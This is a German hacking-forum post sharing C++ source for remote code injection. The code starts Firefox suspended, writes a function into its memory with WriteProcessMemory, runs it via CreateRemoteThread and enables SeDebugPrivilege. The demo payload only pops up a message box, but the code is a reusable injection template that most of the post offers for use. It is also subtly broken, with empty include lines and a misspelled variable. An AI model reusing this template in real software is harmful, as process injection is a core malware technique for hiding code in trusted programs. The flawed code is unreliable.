#include #include #include using namespace std; typedef int (WINAPI* msgparam)(HWND,LPCSTR,LPCSTR,UINT); typedef NTSTATUS (NTAPI* NTSUSPEND)(HANDLE hProcess); typedef NTSTATUS (NTAPI* NTRESUME)(HANDLE hProcess); struct _CODE{ DWORD MessageBoxAddr; char Title[50]; char Text[60]; int Buttons; }; DWORD getPid(string procName); int privileges(); static DWORD Injection(_CODE* sp) { msgparam msgbox = (msgparam) sp->MessageBoxAddr; msgbox(0,sp->Text,sp->Title,sp->Buttons); return 0; } static DWORD stub(); int main() { char szFirefoxPath[MAX_PATH]; GetEnvironmentVariable("programfiles",szFirefoxPath,sizeof(szFirefoxPath)); strcat(szFirefoxPath,"\\Mozilla Firefox\\firefox.exe"); STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si,sizeof(si)); ZeroMemory(&pi,sizeof(pi)); CreateProcess(0,szFirefoxPath,NULL,NULL,false,CREATE_SUSPENDED,NULL,NULL,&si,&pi); HANDLE hOpenProcess =pi.hProcess; if(hOpenProcess == 0) return 1; _CODE CodeStruct = {0}; CodeStruct.MessageBoxAddr = (DWORD) GetProcAddress(GetModuleHandle("User32.dll"),"MessageBoxA"); CodeStruct.Buttons = MB_OK; strcpy_s(CodeStruct.Text,"I AM INJECTED"); strcpy_s(CodeStruct.Title,"SUCCESS"); DWORD dwFunctionSize = (PBYTE) stub - (PBYTE) Injection; LPVOID lpAllocFunc = VirtualAllocEx(pi.hProcess,0,dwFunctionSize,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess,lpAllocFunc,(void*)Injection,dwFunctionSize,0); LPVOID lpParameterAlloc = VirtualAllocEx(pi.hProcess,0,sizeof(_CODE),MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE); WriteProcessMemory(pi.hProcess,lpParameterAlloc,&CodeStruct,sizeof(_CODE),0); HANDLE hCreateRemoteThread = CreateRemoteThread(pi.hProcess,0,0,(LPTHREAD_START_ROUTINE)lpAllocFunc,lpParameterAlloc,0,0); ResumeThread(pi.hThread); if(hCreateRemoteThreas != 0) MessageBox(0,"Injection into the process was successful","Success",MB_ICONINFORMATION); } DWORD getPid(string procName){ HANDLE hsnap; PROCESSENTRY32 pt; hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pt.dwSize = sizeof(PROCESSENTRY32); do{ if(!strcmp(pt.szExeFile, procName.c_str())){ DWORD pid = pt.th32ProcessID; CloseHandle(hsnap); return pid; } } while(Process32Next(hsnap, &pt)); CloseHandle(hsnap); return 0; } int privileges(){ HANDLE Token; TOKEN_PRIVILEGES tp; if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&Token)) { LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (AdjustTokenPrivileges(Token, 0, &tp, sizeof(tp), NULL, NULL)==0){ return 1; //FAIL }else{ return 0; //SUCCESS } } return 1; } static DWORD stub() { __asm nop; }
Als Gast hast du nur eingeschränkten Zugriff!
Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.
- Antworte auf Themen oder erstelle deine eigenen.
- Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
- Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
- Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
C++ CodeInjection
Erstellt von
juPP
, 13.03.2014 14:00
#1
Geschrieben 13 March 2014 - 14:00 Uhr
Gerade in den weiten des Internets gefunden... vielleicht hilft es dem einen oder anderen:
- abramas gefällt das
... hier könnte Ihre Werbung stehen
Thema | Forum | Themenstarter | Statistik | Letzter Beitrag | |
---|---|---|---|---|---|
[S]Suche C++ / winapi programmierer |
C / C# / C++ | Haxlor |
|
|
|
C++ Von A bis ZC++, Programmierung, E-Book und 1 weitere... |
Allgemeines | frodo91 |
|
|
|
[S] Die C++-Programmiersprache: Aktuell zu C++11 |
Tutorial Ecke | SecurityFlaw |
|
|
Besucher die dieses Thema lesen:
Mitglieder: , Gäste: , unsichtbare Mitglieder: